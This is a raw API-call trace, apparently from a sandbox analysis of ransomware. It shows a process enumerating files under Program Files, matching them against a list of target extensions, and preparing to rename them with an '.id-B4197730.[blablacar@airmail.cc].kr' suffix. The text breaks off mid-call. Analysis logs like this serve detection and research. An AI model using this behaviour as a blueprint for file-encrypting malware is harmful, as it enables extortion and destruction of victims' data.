1 [0093.607] lstrlenW (lpString=".bz2") returned 4 [0093.608] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0093.608] lstrlenW (lpString=".7z") returned 3 [0093.608] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0093.608] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg") returned 68 [0093.608] lstrlenW (lpString=".dbf") returned 4 [0093.608] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0093.608] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg") returned 68 [0093.608] lstrlenW (lpString=".1cd") returned 4 [0093.608] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0093.608] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg") returned 68 [0093.608] lstrlenW (lpString=".jpg") returned 4 [0093.608] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0093.608] lstrcmpiW (lpString1=".htm", lpString2=".kr") returned -1 [0093.608] lstrlenW (lpString="Green Bubbles.htm") returned 17 [0093.608] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0093.609] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=237) returned 1 [0093.609] CloseHandle (hObject=0x300) returned 1 [0093.609] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm")) returned 0x20 [0093.609] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0093.609] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0093.609] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm") returned 75 [0093.609] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm") returned 75 [0093.609] lstrlenW (lpString=".doc") returned 4 [0093.609] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0093.609] lstrlenW (lpString=".docx") returned 5 [0093.609] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0093.609] lstrlenW (lpString=".pdf") returned 4 [0093.609] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0093.609] lstrlenW (lpString=".xls") returned 4 [0093.609] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0093.610] lstrlenW (lpString=".xlsx") returned 5 [0093.610] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0093.610] lstrlenW (lpString=".ppt") returned 4 [0093.610] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0093.610] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm") returned 75 [0093.610] lstrlenW (lpString=".zip") returned 4 [0093.610] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0093.610] lstrlenW (lpString=".rar") returned 4 [0093.610] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0093.610] lstrlenW (lpString=".bz2") returned 4 [0093.610] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0093.610] lstrlenW (lpString=".7z") returned 3 [0093.610] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0093.610] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm") returned 75 [0093.610] lstrlenW (lpString=".dbf") returned 4 [0093.610] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0093.610] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm") returned 75 [0093.610] lstrlenW (lpString=".1cd") returned 4 [0093.610] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0093.610] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm") returned 75 [0093.610] lstrlenW (lpString=".jpg") returned 4 [0093.610] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0093.610] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm") returned 75 [0093.610] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm") returned 75 [0093.611] lstrlenW (lpString=".doc") returned 4 [0093.611] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0093.611] lstrlenW (lpString=".docx") returned 5 [0093.611] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0093.611] lstrlenW (lpString=".pdf") returned 4 [0093.611] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0093.611] lstrlenW (lpString=".xls") returned 4 [0093.611] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0093.611] lstrlenW (lpString=".xlsx") returned 5 [0093.611] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0093.611] lstrlenW (lpString=".ppt") returned 4 [0093.611] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0093.611] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm") returned 75 [0093.611] lstrlenW (lpString=".zip") returned 4 [0093.611] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0093.611] lstrlenW (lpString=".rar") returned 4 [0093.611] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0093.611] lstrlenW (lpString=".bz2") returned 4 [0093.611] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0093.611] lstrlenW (lpString=".7z") returned 3 [0093.611] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0093.611] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm") returned 75 [0093.611] lstrlenW (lpString=".dbf") returned 4 [0093.611] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0093.611] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm") returned 75 [0093.611] lstrlenW (lpString=".1cd") returned 4 [0093.612] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0093.612] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm") returned 75 [0093.612] lstrlenW (lpString=".jpg") returned 4 [0093.612] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0093.612] lstrcmpiW (lpString1=".jpg", lpString2=".kr") returned -1 [0093.612] lstrlenW (lpString="GreenBubbles.jpg") returned 16 [0093.612] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0093.636] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=6406) returned 1 [0093.637] CloseHandle (hObject=0x300) returned 1 [0093.637] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg")) returned 0x20 [0093.637] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0093.638] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0093.639] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg") returned 74 [0093.639] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg") returned 74 [0093.639] lstrlenW (lpString=".doc") returned 4 [0093.639] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0093.639] lstrlenW (lpString=".docx") returned 5 [0093.639] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0093.639] lstrlenW (lpString=".pdf") returned 4 [0093.639] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0093.639] lstrlenW (lpString=".xls") returned 4 [0093.639] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0093.639] lstrlenW (lpString=".xlsx") returned 5 [0093.639] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0093.639] lstrlenW (lpString=".ppt") returned 4 [0093.639] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0093.639] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg") returned 74 [0093.639] lstrlenW (lpString=".zip") returned 4 [0093.639] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0093.639] lstrlenW (lpString=".rar") returned 4 [0093.639] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0093.639] lstrlenW (lpString=".bz2") returned 4 [0093.639] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0093.639] lstrlenW (lpString=".7z") returned 3 [0093.639] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0093.639] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg") returned 74 [0093.640] lstrlenW (lpString=".dbf") returned 4 [0093.640] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0093.640] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg") returned 74 [0093.640] lstrlenW (lpString=".1cd") returned 4 [0093.640] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0093.640] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg") returned 74 [0093.640] lstrlenW (lpString=".jpg") returned 4 [0093.640] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0093.640] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg") returned 74 [0093.640] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg") returned 74 [0093.640] lstrlenW (lpString=".doc") returned 4 [0093.640] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0093.640] lstrlenW (lpString=".docx") returned 5 [0093.640] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0093.640] lstrlenW (lpString=".pdf") returned 4 [0093.640] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0093.640] lstrlenW (lpString=".xls") returned 4 [0093.640] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0093.640] lstrlenW (lpString=".xlsx") returned 5 [0093.640] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0093.640] lstrlenW (lpString=".ppt") returned 4 [0093.640] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0093.640] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg") returned 74 [0093.640] lstrlenW (lpString=".zip") returned 4 [0093.640] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0093.641] lstrlenW (lpString=".rar") returned 4 [0093.641] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0093.641] lstrlenW (lpString=".bz2") returned 4 [0093.641] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0093.641] lstrlenW (lpString=".7z") returned 3 [0093.641] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0093.641] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg") returned 74 [0093.641] lstrlenW (lpString=".dbf") returned 4 [0093.641] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0093.641] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg") returned 74 [0093.641] lstrlenW (lpString=".1cd") returned 4 [0093.641] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0093.641] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg") returned 74 [0093.641] lstrlenW (lpString=".jpg") returned 4 [0093.641] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0093.641] lstrcmpiW (lpString1=".jpg", lpString2=".kr") returned -1 [0093.641] lstrlenW (lpString="ShadesOfBlue.jpg") returned 16 [0093.641] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\ShadesOfBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shadesofblue.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0093.643] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=4734) returned 1 [0093.643] CloseHandle (hObject=0x300) returned 1 [0093.643] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\ShadesOfBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shadesofblue.jpg")) returned 0x20 [0093.643] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\ShadesOfBlue.jpg.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shadesofblue.jpg.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0093.643] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\ShadesOfBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shadesofblue.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0093.643] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\ShadesOfBlue.jpg") returned 74 [0093.643] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\ShadesOfBlue.jpg") returned 74 [0093.643] lstrlenW (lpString=".doc") returned 4 [0093.643] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0093.643] lstrlenW (lpString=".docx") returned 5 [0093.644] lstrcmpiW (lpString1=".docx", lpString2="e.jpg") returned -1 [0093.644] lstrlenW (lpString=".pdf") returned 4 [0093.644] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0093.644] lstrlenW (lpString=".xls") returned 4 [0093.644] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0093.644] lstrlenW (lpString=".xlsx") returned 5 [0093.644] lstrcmpiW (lpString1=".xlsx", lpString2="e.jpg") returned -1 [0093.644] lstrlenW (lpString=".ppt") returned 4 [0093.644] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0093.644] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\ShadesOfBlue.jpg") returned 74 [0093.644] lstrlenW (lpString=".zip") returned 4 [0093.644] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0093.644] lstrlenW (lpString=".rar") returned 4 [0093.644] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0093.644] lstrlenW (lpString=".bz2") returned 4 [0093.644] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0093.644] lstrlenW (lpString=".7z") returned 3 [0093.644] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0093.644] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\ShadesOfBlue.jpg") returned 74 [0093.644] lstrlenW (lpString=".dbf") returned 4 [0093.644] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0093.644] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\ShadesOfBlue.jpg") returned 74 [0093.644] lstrlenW (lpString=".1cd") returned 4 [0093.644] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0093.644] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\ShadesOfBlue.jpg") returned 74 [0093.644] lstrlenW (lpString=".jpg") returned 4 [0093.644] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0093.645] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\ShadesOfBlue.jpg") returned 74 [0093.645] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\ShadesOfBlue.jpg") returned 74 [0093.645] lstrlenW (lpString=".doc") returned 4 [0093.645] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0093.645] lstrlenW (lpString=".docx") returned 5 [0093.645] lstrcmpiW (lpString1=".docx", lpString2="e.jpg") returned -1 [0093.645] lstrlenW (lpString=".pdf") returned 4 [0093.645] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0093.645] lstrlenW (lpString=".xls") returned 4 [0093.645] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0093.645] lstrlenW (lpString=".xlsx") returned 5 [0093.645] lstrcmpiW (lpString1=".xlsx", lpString2="e.jpg") returned -1 [0093.645] lstrlenW (lpString=".ppt") returned 4 [0093.645] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0093.645] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\ShadesOfBlue.jpg") returned 74 [0093.645] lstrlenW (lpString=".zip") returned 4 [0093.645] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0093.645] lstrlenW (lpString=".rar") returned 4 [0093.645] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0093.645] lstrlenW (lpString=".bz2") returned 4 [0093.645] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0093.645] lstrlenW (lpString=".7z") returned 3 [0093.645] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0093.645] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\ShadesOfBlue.jpg") returned 74 [0093.646] lstrlenW (lpString=".dbf") returned 4 [0093.646] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0093.646] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\ShadesOfBlue.jpg") returned 74 [0093.646] lstrlenW (lpString=".1cd") returned 4 [0093.646] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0093.646] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\ShadesOfBlue.jpg") returned 74 [0093.646] lstrlenW (lpString=".jpg") returned 4 [0093.646] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0093.646] lstrcmpiW (lpString1=".htm", lpString2=".kr") returned -1 [0093.646] lstrlenW (lpString="Soft Blue.htm") returned 13 [0093.646] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Soft Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\soft blue.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0093.647] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=232) returned 1 [0093.647] CloseHandle (hObject=0x300) returned 1 [0093.647] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Soft Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\soft blue.htm")) returned 0x20 [0093.647] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Soft Blue.htm.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\soft blue.htm.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0093.647] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Soft Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\soft blue.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0093.647] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Soft Blue.htm") returned 71 [0093.647] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Soft Blue.htm") returned 71 [0093.647] lstrlenW (lpString=".doc") returned 4 [0093.647] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0093.647] lstrlenW (lpString=".docx") returned 5 [0093.647] lstrcmpiW (lpString1=".docx", lpString2="e.htm") returned -1 [0093.647] lstrlenW (lpString=".pdf") returned 4 [0093.647] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0093.647] lstrlenW (lpString=".xls") returned 4 [0093.647] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0093.647] lstrlenW (lpString=".xlsx") returned 5 [0093.647] lstrcmpiW (lpString1=".xlsx", lpString2="e.htm") returned -1 [0093.648] lstrlenW (lpString=".ppt") returned 4 [0093.648] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0093.648] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Soft Blue.htm") returned 71 [0093.648] lstrlenW (lpString=".zip") returned 4 [0093.648] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0093.648] lstrlenW (lpString=".rar") returned 4 [0093.648] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0093.648] lstrlenW (lpString=".bz2") returned 4 [0093.648] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0093.648] lstrlenW (lpString=".7z") returned 3 [0093.648] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0093.648] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Soft Blue.htm") returned 71 [0093.648] lstrlenW (lpString=".dbf") returned 4 [0093.648] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0093.648] lstrcmpiW (lpString1=".jpg", lpString2=".kr") returned -1 [0093.648] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\SoftBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\softblue.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0093.663] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=10569) returned 1 [0093.663] CloseHandle (hObject=0x300) returned 1 [0093.663] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\SoftBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\softblue.jpg")) returned 0x20 [0093.664] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\SoftBlue.jpg.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\softblue.jpg.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0093.665] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\SoftBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\softblue.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0093.666] lstrcmpiW (lpString1=".bmp", lpString2=".kr") returned -1 [0093.666] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0093.668] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=2702) returned 1 [0093.668] CloseHandle (hObject=0x300) returned 1 [0093.668] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp")) returned 0x20 [0093.668] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Services\\verisign.bmp.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\common files\\services\\verisign.bmp.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0093.668] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0093.669] Sleep (dwMilliseconds=0x64) [0094.227] Sleep (dwMilliseconds=0x64) [0094.806] Sleep (dwMilliseconds=0x64) [0095.106] lstrcmpiW (lpString1=".gif", lpString2=".kr") returned -1 [0095.106] lstrlenW (lpString="win32_CopyDrop32x32.gif") returned 23 [0095.106] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copydrop32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0095.109] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x2aaff14 | out: lpFileSize=0x2aaff14*=165) returned 1 [0095.109] CloseHandle (hObject=0x34c) returned 1 [0095.109] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copydrop32x32.gif")) returned 0x20 [0095.109] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copydrop32x32.gif.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0095.249] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copydrop32x32.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0095.249] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0095.250] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aafec0 | out: lpNewFilePointer=0x0) returned 1 [0095.250] CreateFileW (lpFileName="C:\\Program 